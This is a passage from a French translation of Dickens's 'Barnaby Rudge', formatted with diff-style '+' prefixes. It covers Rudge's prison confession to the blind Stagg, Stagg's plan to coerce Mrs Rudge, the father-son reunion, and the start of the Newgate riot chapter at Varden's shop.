+ne le voyait pas, lui), et qui dressait sur sa tête une main
+sanglante. C'était justement dans la chambre du premier, où lui et
+moi nous nous sommes regardés en face la nuit du meurtre, et, où
+avant de tomber il a levé sa main comme cela, fixant sur moi les
+yeux. Je savais bien que c'était là aussi que je finirais par être
+traqué.
+
+-- Vous avez l'imagination forte, dit l'aveugle avec un sourire.
+
+-- Vous n'avez qu'à baigner la vôtre dans le sang, et vous verrez
+si elle ne deviendra pas aussi forte que la mienne.»
+
+En même temps il poussa un gémissement, il se balança sur son lit,
+et levant les yeux pour la première fois, il dit d'une voix basse
+et caverneuse:
+
+«Vingt-huit ans! vingt-huit ans! Et dans tout ce temps-là il n'a
+jamais changé; il n'a pas vieilli; il est resté toujours le même.
+Il n'a pas cessé d'être devant moi; la nuit, dans l'ombre; le
+jour, au grand soleil; à la lueur du crépuscule, au clair de la
+lune, à la clarté de la flamme, de la lampe, de la chandelle, et
+aussi dans les ténèbres les plus profondes: toujours le même! En
+compagnie, dans la solitude, à terre, à bord; quelquefois il me
+laissait des mois, quelquefois il ne me quittait plus. Je l'ai vu,
+sur mer, venir se glisser, dans le fort de la nuit, le long d'un
+rayon de la lune sur l'eau paisible. Et je l'ai vu aussi, sur les
+quais, sur les places, la main levée, dominant, au centre de la
+foule empressée, qui allait à ses affaires sans savoir l'étrange
+compagnon qu'elle avait avec elle dans ce revenant silencieux.
+Imagination! dites-vous. N'êtes-vous pas un homme en chair et en
+os? Et moi, ne le suis-je pas? Ne sont-ce pas des chaînes de fer
+que je porte là, rivées par le marteau du serrurier? ou bien
+croyez-vous que ce soient des imaginations que je puisse dissiper
+d'un souffle?»
+
+L'aveugle l'écoutait en silence.
+
+«Imagination! c'est donc en imagination que je l'ai tué? c'est
+donc en imagination qu'en quittant la chambre où il gisait, j'ai
+vu la figure d'un homme regarder derrière une porte obscure, et
+montrer clairement, dans son expression d'effroi, qu'elle me
+soupçonnait du coup! Je ne me rappelle donc pas bien que j'ai
+commencé par lui parler doucement, que je me suis approché de lui
+tout doucement, tout doucement, le couteau encore tout chaud dans
+ma manche! C'est donc une imagination qu'il est mort, comme je le
+vois encore! Il n'a donc pas chancelé contre l'angle du mur où je
+l'avais fait reculer? Et là, le sang lui noyait le coeur; il n'est
+peut-être pas resté debout dans le coin, roide mort, sans tomber
+par terre? Je ne l'ai donc pas vu un instant, comme je vous vois,
+droit sur ses pieds... mais mort?»
+
+L'aveugle, qui entendit qu'en disant ces mots il venait de se
+lever tout debout, lui fit signe de se rasseoir sur son lit; mais
+l'autre n'y prit seulement pas garde.
+
+«C'est alors que me vint la première idée de faire retomber sur
+lui le soupçon du crime; c'est alors que je le revêtis de mes
+habits, et que je le tirai tout du long de l'escalier jusqu'à la
+pièce d'eau. Je ne me rappelle donc pas bien encore le bruit
+crépitant des bulles d'eau qui montèrent à la surface quand je
+l'eus roulé dedans? Je ne me rappelle donc pas avoir essuyé sur ma
+figure l'eau qu'il fit rejaillir jusque sur moi en tombant, et qui
+me semblait sentir le sang?
+
+«Je ne suis peut-être pas retourné chez moi après ce temps-là? Et,
+grand Dieu! que cela me prit de temps!... Je ne me suis pas
+présenté à ma femme, et je ne lui ai pas raconté la chose? Je ne
+l'ai pas vue tomber à la renverse, et, quand j'ai voulu la
+relever, elle ne m'a donc pas repoussé avec force, comme si je
+n'avais été qu'un enfant, tachant de sang la main dont elle
+m'avait serré le poignet? Tout ça, c'est donc de l'imagination?
+
+«Elle ne s'est peut-être pas jetée à genoux pour appeler le ciel à
+témoin qu'elle et son enfant... encore à naître, ils me reniaient
+à jamais? Elle ne m'a pas ordonné, en termes si solennels que j'en
+devins froid comme glace, moi tout bouillant encore des horreurs
+que venait d'accomplir ma main... elle ne m'a pas ordonné de fuir
+pendant qu'il en était temps encore, décidée, disait-elle, malgré
+le silence qu'elle me devait comme ma femme infortunée, à ne plus
+me donner d'abri? Je ne suis peut-être pas allé, cette nuit-là
+même, abandonné des hommes et des dieux, promis en proie à
+l'enfer, commencer sur la terre mon long pèlerinage de torture, à
+la longueur du câble dont le démon tenait le bout, toujours sûr de
+me ramener au gîte quand il voudrait?
+
+-- Pourquoi y êtes-vous retourné? dit l'aveugle.
+
+-- Pourquoi le sang est-il rouge? Je ne pouvais pas plus m'en
+empêcher que je ne peux vivre sans respirer. J'ai lutté contre la
+force qui m'entraînait; mais elle me tirait en dépit de tout
+obstacle et de toute résistance, comme un dragueur de la force de
+cent chevaux. Rien n'était capable de m'arrêter. Ni l'heure ni le
+jour n'étaient de mon choix. Dormant, veillant, il y avait de
+longues années que je revisitais le vieux théâtre de la chose, que
+je hantais mon tombeau. Pourquoi j'y suis retourné! parce que
+Newgate ouvrait sa geôle béante pour me recevoir, et que lui, il
+était à la porte à me faire signe d'entrer.
+
+-- On ne vous reconnaissait pas! dit l'aveugle.
+
+-- Comment vouliez-vous qu'on me reconnût? Il y avait vingt-deux
+ans que j'étais mort.
+
+-- Vous auriez dû garder mieux votre secret.
+
+-- Mon secret? Vous croyez que c'était le mien? C'était un secret
+que le premier souffle pouvait à son gré répandre et faire
+circuler dans l'air. Les étoiles le trahissaient dans leur lueur
+scintillante, l'eau dans le murmure de son cours, les feuilles
+dans leur frémissement, les saisons dans le retour de leurs
+quartiers. On l'aurait vu percer dans les traits ou dans la voix
+du premier venu. Est-ce que toute chose n'avait pas des lèvres où
+il tremblait à chaque instant, impatient de se trahir... mon
+secret!
+
+-- Dans tous les cas, dit l'aveugle, c'est bien vous qui l'avez
+révélé de vous-même.
+
+-- De moi-même! c'est bien moi qui l'ai fait, mais non pas de moi-
+même. Je me sentais forcé d'aller, de temps en temps, errer tout
+autour, tout autour de l'endroit. Quand ça me prenait, vous
+m'auriez mis à la chaîne, que je l'aurais brisée pour y aller tout
+de même. Aussi vrai que l'aimant attire le fer, lui, dans le fond
+de son tombeau, il m'attirait aussi quand il lui en prenait
+fantaisie. Ah! vous appelez ça de l'imagination! Ah! vous croyez
+que c'était pour mon plaisir que j'y allais, quand je luttais et
+résistais au contraire de toutes mes forces contre un pouvoir
+irrésistible!»
+
+L'aveugle haussa les épaules, et sourit d'un air incrédule. Le
+prisonnier reprit sa première attitude, et ils restèrent là muets
+tous les deux pendant longtemps.
+
+«Alors, je suppose, dit le visiteur rompant enfin le silence, que
+vous voilà pénitent et résigné; que vous n'avez plus d'autre désir
+que de faire votre paix avec tout le monde, et en particulier avec
+votre femme qui vous a conduit où vous êtes: en un mot que vous ne
+demandez pas d'autre faveur que d'être mené à Tyburn[6] le plus tôt
+possible; que, par conséquent, je ferai bien de vous laisser là,
+car je sens que, dans ces dispositions, vous n'auriez pas en moi
+une compagnie bien agréable.
+
+-- Ne vous ai-je pas dit, reprit l'autre avec rage, que j'ai lutté
+et résisté de toutes mes forces contre le pouvoir qui m'a entraîné
+ici? Ma vie a-t-elle été autre chose depuis vingt-huit ans qu'un
+combat perpétuel, qu'une résistance incessante, et pouvez-vous
+croire que je sois disposé à me coucher par terre pour y attendre
+le coup de la mort? La mort fait horreur à tous les hommes... à
+moi surtout.
+
+-- Ah! voilà qui s'appelle parler, à la bonne heure, Rudge (mais
+je ne vous donnerai plus ce nom), c'est ce que vous avez dit de
+mieux depuis longtemps, répondit l'aveugle d'un ton plus familier
+et en lui mettant la main sur l'épaule. Voyez-vous, moi, je n'ai
+jamais tué personne, parce que je n'ai jamais été dans une
+situation à en avoir besoin. Je vais plus loin: je ne trouve pas
+cela bien de tuer un homme, et je ne crois pas que j'en donnasse
+le conseil ou que j'en eusse le goût, dans l'occasion... parce que
+c'est très hasardeux. Mais puisque vous, vous avez eu le malheur
+de passer par là avant notre connaissance, et que vous êtes devenu
+mon camarade, que vous m'avez été utile depuis longtemps déjà, je
+passe là-dessus, et je ne pense qu'à une chose, c'est que vous
+n'avez que faire d'aller mourir sans nécessité. Or, pour le
+moment, je ne vois pas du tout que ce soit nécessaire.
+
+-- Et comment voulez-vous que je fasse autrement? répondit le
+prisonnier. Ne voulez-vous pas que je grignote ces murs avec mes
+dents, comme une souris, pour me faire un trou par où je
+m'échappe?
+
+-- Il y a des moyens plus faciles que ça; promettez-moi de ne plus
+me parler de toutes vos imaginations, de toutes ces idées sottes
+et folles, qui ne sont pas dignes d'un homme... et moi je vous
+dirai ce que je pense.
+
+-- Eh bien! dites.
+
+-- Votre honorable dame, à la conscience si délicate, votre
+scrupuleuse, votre vertueuse, votre pointilleuse, je voudrais
+pouvoir dire votre affectueuse femme...
+
+-- Après?
+
+-- Elle est en ce moment à Londres.
+
+-- Qu'elle soit où elle voudra, que le diable l'emporte!
+
+-- Je trouve ce souhait naturel. Si elle avait accepté sa pension
+comme d'habitude, vous ne seriez pas ici, et nous serions mieux
+tous les deux dans nos affaires. Mais cela ne fait rien à la
+chose. Elle est donc à Londres. Elle aura eu peur, je suppose, de
+mes représentations la dernière fois que je suis allé la voir, et
+surtout de l'assurance que je lui ai donnée, sachant bien quel en
+serait l'effet, que vous étiez là tout près d'elle, et elle aura
+quitté son gîte pour venir à Londres.
+
+-- Comment le savez-vous?
+
+-- Je le sais de mon ami, le noble capitaine, l'illustre général
+de blaguerie, M. Tappertit. C'est lui qui m'a dit, la dernière
+fois que je l'ai vu, c'est-à-dire pas plus tard qu'hier au soir,
+que votre fils que vous appelez Barnabé... je ne pense pas que ce
+soit du nom de son père...
+
+-- Malédiction! à quoi bon...
+
+-- Comme vous êtes vif! dit avec calme le bon aveugle. C'est bon
+signe, cela sent la vie... Il me disait donc que votre fils
+Barnabé avait été entraîné loin de sa mère par un de ses anciens
+amis de Chigwell, et qu'il est parti, pour le moment, avec les
+émeutiers.
+
+-- Et qu'est-ce que cela me fait? si on doit pendre en même temps
+le père et le fils, la belle consolation pour moi!
+
+-- Doucement, doucement l'ami, répliqua l'aveugle d'un air
+narquois; vous allez trop vite au but. Je suppose que je déterre
+votre douce dame, et que je lui dise quelque chose comme ceci:
+«Vous voudriez bien retrouver votre fils, madame; bien. Comme je
+connais les personnes qui le retiennent auprès d'elles, je puis
+vous le faire rendre, madame; bien. Seulement il faut payer pour
+le ravoir: c'est toujours bien. Et cela ne vous coûtera pas cher,
+madame... c'est encore le meilleur de l'affaire.»
+
+-- Qu'est-ce que c'est que cette mauvaise plaisanterie?
+
+-- Très probablement c'est ce qu'elle me dira; mais moi je lui
+répondrai; «Ce n'est pas du tout une plaisanterie; un monsieur
+qu'on dit votre mari, madame, quoique l'identité ne soit pas
+facile à constater après un laps de temps si considérable, est en
+prison. Sa vie est en danger; il est accusé d'assassinat. Or,
+madame, vous savez que votre mari est mort depuis bien, bien
+longtemps. Le monsieur dont il s'agit ne pourra donc pas être pris
+pour lui, pour peu que vous ayez la bonté de déclarer en justice,
+sous serment, quand il est mort et comment; mais que, quant au
+monsieur qu'on vous représente, et qui lui ressemble assez, à ce
+qu'il paraît, il n'est pas plus votre mari que moi. Une pareille
+déposition décidera l'affaire. Promettez-moi de la faire, madame,
+et je vais essayer de mettre en sûreté votre fils (un joli garçon,
+ma foi!) en attendant que vous nous ayez rendu ce petit service,
+après quoi je vous le ferai rendre sain et sauf. Si, au contraire,
+vous vous refusez à ce que je vous demande, j'ai grand'peur qu'il
+ne soit trahi, livré à la justice, qui, sans aucun doute, le
+condamnera à mort. Vous avez donc le choix; c'est à vous qu'il
+devra la vie ou la mort. Si vous refusez, le voilà pendu. Si vous
+consentez, le chanvre dont on doit faire la corde qui lui sera
+passée autour du cou n'est pas encore près de pousser.»
+
+-- Il y a là une lueur d'espérance, cria le prisonnier.
+
+-- Une lueur! répliqua son ami; dites une aurore radieuse, un beau
+et glorieux soleil. Chut! j'entends des pas à distance. Comptez
+sur moi.
+
+-- Quand viendrez-vous me reparler de ça?
+
+-- Aussitôt que je pourrai. Je voudrais pouvoir vous dire que ce
+sera demain. On vient nous dire que le temps de ma visita est
+expiré. J'entends tinter le trousseau de clefs. Pas un mot de plus
+là-dessus; on pourrait en surprendre quelque chose.»
+
+Comme il finissait ces mots, la serrure tourna, et un guichetier
+apparut à la porte pour annoncer qu'il était l'heure pour les
+visiteurs de sortir.
+
+«Déjà! dit Stagg d'un air patelin. C'est bien dommage; mais qu'y
+faire? Allons! du courage, mon ami; ce n'est qu'une méprise qui
+sera bientôt reconnue, et alors vous remonterez sur votre bête. Si
+ce charitable gentleman veut voir la complaisance de conduire
+seulement jusqu'au porche de la prison un pauvre aveugle, qui n'a
+d'autre récompense à lui offrir que ses prières, et de lui tourner
+la figure dans la direction de l'ouest, il fera un acte de
+charité. Merci, mon bon monsieur, je vous suis bien obligé.»
+
+En disant ces mots, et, après s'être un moment arrêté à la porte
+pour tourner vers son ami son visage ricanant, il partit.
+
+Le guichetier le reconduisit jusqu'au porche, puis il revint
+ouvrir et débarrer la porte du cachot, et, la tenant toute grande
+ouverte, il informa le prisonnier qu'il avait la liberté de se
+promener, pendant une heure, dans la cour voisine, si cela lui
+faisait plaisir.
+
+Celui-ci répondit par un signe de tête qu'il acceptait, et, quand
+il se retrouva seul, il se mit à ruminer ce qu'il venait
+d'entendre dire à l'aveugle, et à peser la valeur des espérances
+que cette conversation récente avait éveillées dans son âme, tout
+en regardant machinalement et tour à tour, pendant ce temps-là, la
+clarté du jour au dehors, ou l'ombre projetée par un mur sur
+l'autre, et s'allongeant sur les dalles. La cour dont il jouissait
+n'était qu'un petit carré, rendu plus froid et plus sombre par la
+hauteur des murs dont il était entouré, et capable en apparence de
+donner le frisson au soleil même. La pierre dont elle était
+formée, nue, rude et dure, donnait, par contraste, même à Rudge,
+des pensées de campagne, de prairies et d'arbres verdoyants, avec
+un désir brûlant de prendre la clef des champs. Cependant il se
+leva, alla s'appuyer contre le chambranle de la porte et regarda
+l'azur éclatant du ciel, qui semblait sourire même à cet affreux
+repaire du crime. À voir le prisonnier, on pouvait croire
+qu'oubliant un moment sa prison, il se trouvait, par souvenir,
+étendu sur le dos dans quelque champ embaumé, où ses yeux
+poursuivaient les rayons du soleil à travers le mouvement des
+branches étendues sur sa tête... il y avait bien longtemps.
+
+Tout à coup son attention fut attirée par un bruit de ferraille...
+il savait bien ce que c'était, car il avait tressailli tout à
+l'heure de s'entendre lui-même faire un bruit pareil en marchant
+pour sortir du cachot. Puis une voix se mit à chanter, et il vit
+l'ombre d'une personne se dessiner sur les dalles. Cette ombre
+s'arrêta... se tut brusquement, comme si le chanteur s'était
+rappelé tout à coup, après l'avoir un moment oublié, qu'il était
+en prison... puis le même bruit de ferraille, et l'ombre disparut.
+
+Il se promena dans la cour de long en large, effarouchant les
+échos du tintement sonore de ses fers. Il y avait auprès de la
+porte de son cachot une autre porte, entr'ouverte comme la sienne.
+
+Il n'avait pas fait une demi-douzaine de fois le tour de sa cour
+qu'en s'arrêtant à regarder cette porte. Il entendit encore le
+bruit de ferraille; puis il vit à la fenêtre grillée une figure,
+bien indistincte (le cachot était si sombre et les barreaux si
+épais!) puis, immédiatement après, parut un homme qui vint vers
+lui.
+
+La solitude lui pesait, comme s'il y avait un an qu'il fût en
+prison. L'espoir d'avoir un camarade lui fit doubler le pas pour
+faire la moitié du chemin au-devant du nouveau venu.
+
+Qui était cet homme? C'était son fils.
+
+Ils s'arrêtèrent face à face, se dévisageant l'un l'autre. Lui, il
+recula tout honteux, malgré lui: quant à Barnabé, en proie à des
+souvenirs imparfaits et confus, il se demandait, où il avait déjà
+vu cette figure-là. Il ne fut pas longtemps incertain: car tout à
+coup, portant sur lui les mains, et le colletant pour le jeter à
+terre, il lui cria:
+
+«Ah! je sais, c'est vous le voleur!»
+
+Rudge d'abord, au lieu de répondre, baissa la tête et soutint la
+lutte en silence; mais, voyant que l'agresseur était trop jeune et
+trop fort pour lui, il releva la tête, le regarda fixement entre
+les deux yeux, et lui dit:
+
+«Je suis ton père.»
+
+Cette parole produisit un effet magique: Barnabé lâche prise à
+l'instant, recule, et le regarde effrayé; puis, par un élan subit,
+il lui passe les bras autour du cou, et lui presse la tête contre
+ses joues.
+
+Oui, oui, c'était son père: il n'en pouvait douter. Mais où donc
+était-il resté si longtemps, laissant sa mère toute seule, ou, ce
+qui était bien pis, seule avec son pauvre idiot d'enfant? Était-
+elle réellement maintenant heureuse et à son aise, comme on avait
+voulu le lui faire croire? Où était-elle? N'était-elle pas près
+d'eux? Ah! bien sûr elle n'était pas heureuse, la pauvre femme, si
+elle savait son fils en prison Oh! non.
+
+À toutes ces questions précipitées, l'autre ne répondit pas un
+mot: il n'y eut que Grip qui croassa de toutes ses forces,
+sautillant autour d'eux, tout autour, comme s'il les enveloppait
+dans un cercle magique, pour invoquer sur eux toutes les
+puissances du mal.
+
+
+
+
+CHAPITRE XXI.
+
+
+Pendant le cours de cette journée, tous les régiments de Londres
+ou des environs furent de service dans quelque quartier de la
+ville. Les troupes régulières et la milice, dispersées en
+province, reçurent l'ordre, dans chaque caserne et dans chaque
+poste à vingt-quatre heures de marche, de commencer à se diriger
+sur la capitale. Mais les troubles avaient pris une proportion si
+formidable, et, grâce à l'impunité, l'émeute était devenue si
+audacieuse, que la vue de ces forces considérables,
+continuellement accrues par de nouveaux renforts, au lieu de
+décourager les perturbateurs, leur donna l'idée de frapper un coup
+plus violent et plus hardi que tous les attentats des jours
+précédents, et ne servit qu'à allumer dans Londres une ardeur de
+révolte qu'on n'y avait jamais vue, même dans les anciens temps de
+la révolution.
+
+Toute la veille et tout ce jour-là, le commandant en chef essaya
+de réveiller chez les magistrats le sentiment de leur devoir, et,
+en particulier chez le lord-maire, le plus poltron et le plus
+lâche de tous. À plusieurs reprises, on détacha, dans ce but, des
+corps nombreux de soldats vers Mansion-House pour attendre ses
+ordres. Mais, comme ni menaces ni conseils ne faisaient rien sur
+lui, et que la troupe restait là en pleine rue, sans rien faire de
+bon, exposée plutôt à de mauvaises conversations, ces tentatives
+louables firent plus de mal que de bien. Car la populace, qui
+n'avait pas tardé à deviner les dispositions du lord-maire, ne
+manquait pas non plus d'en tirer avantage pour dire que les
+autorités civiles elles-mêmes étaient opposées aux papistes, et
+n'auraient pas le coeur de tourmenter des gens qui n'avaient pas
+d'autre tort que de penser comme elles. Bien entendu que c'était
+surtout aux oreilles des soldats qu'on faisait résonner ces
+espérances, et les soldats, qui, de leur côté, naturellement,
+n'ont pas de goût pour se battre contre le peuple, recevaient ces
+avances avec assez de bienveillance, répondant à ceux qui leur
+demandaient s'ils iraient volontiers tirer sur leurs compatriotes:
+«Non! de par tous les diables!» montrant enfin des dispositions
+pleines de bonté et d'indulgence. On fut donc bientôt persuadé que
+les militaires n'étaient pas des _soldats du pape_, et
+n'attendaient que le moment de désobéir aux ordres de leurs chefs
+pour se joindre à l'émeute. Le bruit de leur répugnance pour la
+cause qu'ils avaient à défendre, et de leur inclination pour celle
+du peuple, se répandit de bouche en bouche avec une étonnante
+rapidité, et, toutes les fois qu'il y avait quelque militaire
+écarté à flâner dans les rues ou sur les places, il se formait
+aussitôt un rassemblement autour de lui: on lui faisait fête, on
+lui donnait des poignées de main, on lui prodiguait toutes les
+marques possibles de confiance et d'affection.
+
+Cependant la foule était partout. Plus de déguisement, plus de
+dissimulation; l'émeute allait tête levée dans toute la ville. Un
+des insurgés voulait-il de l'argent, il n'avait qu'à frapper à la
+porte de la première maison venue, ou à entrer dans une boutique,
+pour en demander au nom de l'Émeute: il était sûr de voir sa
+demande sur-le-champ satisfaite. Les citoyens paisibles ayant peur
+de leur mettre la main sur le collet quand ils marchaient seuls et
+isolés, il n'y avait pas de danger qu'on allât leur chercher
+querelle quand ils étaient en corps nombreux. Ils se rassemblaient
+dans les rues, les traversaient selon leur bon plaisir, et
+concertaient publiquement leurs plans. Le commerce était arrêté,
+presque toutes les boutiques fermées. Presque sur toutes les
+maisons était déployé un drapeau bleu, en gage d'adhésion à la
+cause populaire. Il n'y avait pas jusqu'aux juifs de Houndsditch,
+dans le quartier de Whitechapel, qui écrivaient sur leurs portes
+et leurs volets: «C'est ici la maison d'un vrai et fidèle
+protestant.» La foule faisait loi, et jamais loi ne fut acceptée
+avec plus de crainte et d'obéissance.
+
+Il était à peu près six heures du soir quand un vaste attroupement
+se précipita dans Lincoln's-Inn-Fields par toutes les avenues, et
+là se divisa, évidemment d'après un plan préconçu, en diverses
+branches. Ce n'est pas que l'arrangement prémédité fut connu de
+toute la foule: c'était le secret de quelques meneurs qui, venant
+se mêler aux autres, à mesure qu'ils arrivaient sur les lieux, et
+les distribuant dans tel ou tel détachement, exécutaient le
+mouvement avec autant du rapidité que si c'eût été une manoeuvre
+faite au commandement, et que chacun eût eu son poste assigné
+d'avance.
+
+Tout le monde savait, du reste, que la bande la plus considérable,
+comprenant à peu près les deux tiers de la masse, était désignée
+pour l'attaque du Newgate. Elle se formait de tous les
+perturbateurs qui s'étaient distingués dans les premiers troubles;
+de tous ceux que la rumeur publique signalait comme des gens de
+résolution et d'audace, des hommes d'action; de tous ceux qui
+avaient eu des camarades arrêtés dans les affaires des jours
+précédents, enfin d'un grand nombre de parents ou d'amis de
+criminels détenus dans la prison. Cette dernière classe de héros
+ne renfermait pas seulement les bandits les plus désespérés et les
+plus redoutables de Londres; on y voyait aussi quelques personnes
+comparativement honnêtes. Plus d'une femme s'était habillée en
+homme pour aller aider à la délivrance d'un fils ou d'un frère. Il
+y avait les deux fils d'un condamné à mort, dont la sentence
+devait être exécutée le surlendemain, en compagnie de trois autres
+criminels. Combien de mauvais sujets dont les camarades avaient
+été emprisonnés pour filouterie! Et aussi que de misérables
+femmes, parias du genre humain, qui allaient là pour faire
+relâcher quelque autre créature de bas étage comme elles, ou peut-
+être entraînées, Dieu seul pourrait le dire, par un sentiment
+général de sympathie qui les intéressait à tous les malheureux
+sans espoir!
+
+De vieux sabres, et de vieux pistolets sans poudre ni balles; des
+marteaux de forge, des couteaux, des scies, des haches, des armes
+pillées dans des étals de boucherie; une véritable forêt de barres
+de fer et de massues de bois; des échelles longues, pour escalader
+les murs, portées par une douzaine d'hommes; des torches allumées,
+des étoupes enduites de poix, de soufre, de goudron, des pieux
+arrachés à des palissades ou à des haies; jusqu'à des béquilles
+enlevées à des mendiants estropiés dans les rues: voilà quelles
+étaient leurs armes. Quand tout fut prêt, Hugh et Dennis, aux
+côtés de Simon Tappertit, prirent la tête; et derrière eux se
+pressa la foule, mouvante et grondante comme une mer qui marche.
+
+Au lieu de descendre tout droit d'Holborn à la prison, comme tout
+le monde s'y attendait, les chefs de la troupe prirent par
+Clerkenvall, et se répandant dans une rue paisible, s'arrêtèrent
+devant une boutique de serrurier... _À la clef d'or_.
+
+«Tapez à la porte, cria Hugh aux gens qui étaient près de lui. Il
+nous faut ce soir un homme du métier. Enfoncez plutôt la porte, si
+on ne vous répond pas.»
+
+La boutique était fermée. La porte et les volets étaient de force
+et de taille; on avait beau taper, rien ne bougeait. Mais quand la
+foule impatiente se fut avisée de crier: «Mettons le feu à la
+maison,» et que les torches s'avancèrent pour mettre la menace à
+exécution, la croisée du premier s'ouvrit toute grande, et le
+brave vieux serrurier se dressant à la fenêtre:
+
+«Eh bien! canaille, dit-il, qu'est-ce que vous me voulez? Venez-
+vous me rendre ma fille?
+
+-- Pas de questions, mon vieux, répondit Hugh en faisant signe de
+la main à ses camarades de le laisser parler. Pas de questions;
+mais dépêchez-vous de descendre avec les outils de votre état.
+Nous avons besoin de vous.
+
+-- Besoin de moi! cria le serrurier jetant un coup d'oeil sur
+l'uniforme qu'il portait. Eh bien! si bien des gens de ma
+connaissance n'étaient pas des coeurs de poulets, il y a déjà
+quelque temps que vous n'auriez plus besoin de moi. Faites bien
+attention à ce que je vais vous dire, mon garçon, et vous aussi,
+les autres. Vous avez là parmi vous une vingtaine de gens que je
+vois et que je connais bien, et que je regarde, à partir de ce
+moment, comme des hommes morts. Tenez! filez, vous avez encore le
+temps de faire l'économie d'un enterrement; sans cela, avant qu'il
+soit longtemps, vous n'aurez plus qu'à commander vos cercueils.
+
+-- Voulez-vous descendre? cria Hugh.
+
+-- Voulez-vous me rendre ma fille, brigand? cria le serrurier.
+
+-- Je ne sais pas ce que vous voulez dire, répliqua Hugh. Allons!
+camarades, mettons le feu à la porte.
+
+-- Arrêtez! cria le serrurier d'une voix qui les fit trembler, en
+leur présentant la gueule de son fusil. Faites plutôt faire la
+besogne par un vieux; ce serait dommage de tuer cet innocent.»
+
+Le jeune gars qui tenait la torche, et qui s'était accroupi devant
+la porte pour y mettre le feu, se hâta de se lever à ces mots et
+recula de quelques pas. Le serrurier promena ses yeux sur les
+visages qui lui faisaient face, en abaissant son arme dirigée sur
+le pas de sa porte. La crosse de son fusil fixée contre son épaule
+n'avait pas besoin d'autre appui, elle était ferme comme un roc.
+
+«Je préviens l'individu qui va faire ça de commencer par dire son
+_In manus_, ajouta-t-il d'une voix sûre; je ne le prends pas en
+traître.»
+
+Arrachant à un de ses voisins la torche qu'il portait, Hugh
+s'avançait en jurant comme un possédé, quand il fut arrêté par un
+cri vif et perçant, et en levant les yeux il vit un vêtement
+flottant au haut de la maison.
+
+Alors on entendit encore un cri, puis un autre; puis une voix
+perçante s'écria: «Simon est-il en bas?» En même temps un grand
+col maigre s'allongea sur la fenêtre de la mansarde, et
+Mlle Miggs, dont la forme indistincte commençait à être moins
+manifeste sous l'influence du crépuscule se mit à crier avec
+frénésie:
+
+«Ah! mes chers messieurs, laissez-moi, laissez-moi entendre Simon
+me répondre de ses propres lèvres. Parlez-moi, Simon; parlez-moi
+donc!»
+
+M. Tappertit, qui n'était pas autrement flatté de cette faveur,
+leva les yeux pour la prier de se taire et lui donner l'ordre de
+descendre ouvrir la porte, parce qu'ils avaient besoin de son
+maître, et qu'il ne ferait pas bon leur désobéir.
+
+«Ô mes bons messieurs, cria Mlle Miggs. Ô mon précieux, précieux
+Simon!
+
+-- Dites donc, avez-vous bientôt fini vos bêtises? répliqua
+M. Tappertit. Descendez donc plutôt nous ouvrir la porte...
+Gabriel Varden, relevez votre fusil, ou vous n'en serez pas le bon
+marchand.
+
+-- Ne vous inquiétez pas de son fusil, cria Miggs, Simon et
+messieurs, j'ai versé dans le canon une chope de petite bière.»
+
+La foule poussa un grand cri de joie, qui fut bientôt suivi d'un
+grand éclat de rire. «N'ayez pas peur qu'il parte, quand il serait
+chargé jusqu'à la gueule, continua Miggs, Simon et messieurs, je
+suis enfermée dans la mansarde, la petite porte à droite, quand
+vous croirez être tout en haut de la maison; et, par parenthèse,
+prenez garde, en montant les dernières marches du coin, de ne pas
+vous cogner la tête contre les poutres et de ne pas marcher sur le
+côté: vous tomberiez à travers le plafond dans la chambre à deux
+lits du premier étage, car le plafond est mince, je vous en
+préviens. Simon et messieurs, je suis enfermée ici pour plus du
+sûreté; mais ils auront beau faire, mon intention a toujours été
+et sera toujours de marcher dans la bonne cause, la sainte
+cause... Je renonce au pape de Babylone, et à toutes ses oeuvres
+intérieures et extérieures. Foin du païen!... Je sais bien que mon
+opinion n'est pas grand'chose (et ici sa voix devenait de plus en
+plus criarde et perçante), puisque je ne suis qu'une pauvre
+domestique, et par conséquent un objet d'humiliation; mais ça ne
+m'empêchera pas de dire ce que je pense, et de me confier dans
+l'appui de ceux qui pensent comme moi.»
+
+Une fois que Miggs eut déclaré que le fusil était hors de service,
+personne ne s'avisa plus de s'amuser à l'écouter, et on la laissa
+bavarder à son aise. Les assiégeants dressèrent une échelle contre
+la fenêtre où se tenait le serrurier, et, malgré la résistance de
+son courage obstiné, on eut bientôt forcé l'entrée en cassant un
+carreau et en mettant le châssis en pièces. Après avoir distribué
+quelques bons coups autour de lui, il se trouva sans défense au
+milieu d'une populace furieuse qui inondait la chambre et ne
+présentait plus partout qu'une masse confuse de figures inconnues,
+à la fenêtre et à la porte.
+
+On était très irrité contre lui, car il avait blessé deux hommes
+grièvement, et on invitait d'en bas ceux qui étaient montés à
+l'apporter pour le pendre à un réverbère. Mais Gabriel restait
+indomptable, et, regardant tour à tour Hugh et Dennis qui lui
+tenaient chacun un bras, et Simon Tappertit qui lui faisait face:
+
+«Vous m'avez déjà volé ma fille, disait-il, ma fille qui m'est
+plus chère que la vie; vous pouvez bien me prendre aussi la vie,
+si vous voulez. Je remercie Dieu d'avoir permis que j'aie pu
+dérober ma femme à cette scène, et de m'avoir donné un coeur qui
+ne demandera pas quartier à des gens comme vous.
+
+-- Oui, oui, disait M. Dennis, vous avez raison. Vous êtes un
+brave homme, et vous ne pouvez pas montrer plus de coeur pour
+votre âge. Bah! qu'est-ce que ça vous fait, un réverbère ce soir,
+ou un lit de plume dans dix ans d'ici? Voilà-t-il pas une belle
+affaire!»
+
+Le serrurier lui lança un regard dédaigneux sans lui rien
+répondre.
+
+«Pour ma part, dit le bourreau, qui trouvait particulièrement de
+son goût l'idée du réverbère, j'honore vos principes et je les
+partage. Quand je rencontre des gens aussi bien pensants (et ici
+il colora son discours par un bon gros juron), je suis tout prêt à
+leur épargner, comme à vous, la moitié du chemin... N'avez-vous
+pas quelque part par là un bon bout de corde? Si vous n'en avez
+pas, ne vous inquiétez pas; un mouchoir fera l'affaire tout de
+même.
+
+-- Pas de bêtises, maître! murmura Hugh en saisissant rudement
+Varden par l'épaule. Faites ce qu'on vous dit. Vous saurez bientôt
+ce qu'on vous demande. Allons! faites.
+
+-- Je ne ferai rien du tout de ce que vous me demanderez ni vous,
+ni tout autre coquin de la bande, répondit le serrurier. Si vous
+vous attendez à obtenir de moi quelque service, vous pouvez vous
+épargner la peine de me dire ce que c'est. Je vous en préviens
+d'avance, je ne ferai rien pour vous.
+
+M. Dennis fut si touché de la constance du vieux grognard, qu'il
+protesta, presque la larme à l'oeil, qu'il y aurait de la cruauté
+à faire violence à ses inclinations et que, pour sa part, il ne
+voudrait pas avoir pareil tort sur la conscience. Ce gentleman,
+disait-il, avait déjà déclaré à plusieurs reprises qu'il lui était
+égal qu'on l'exécutât; en conséquence, il regardait comme un
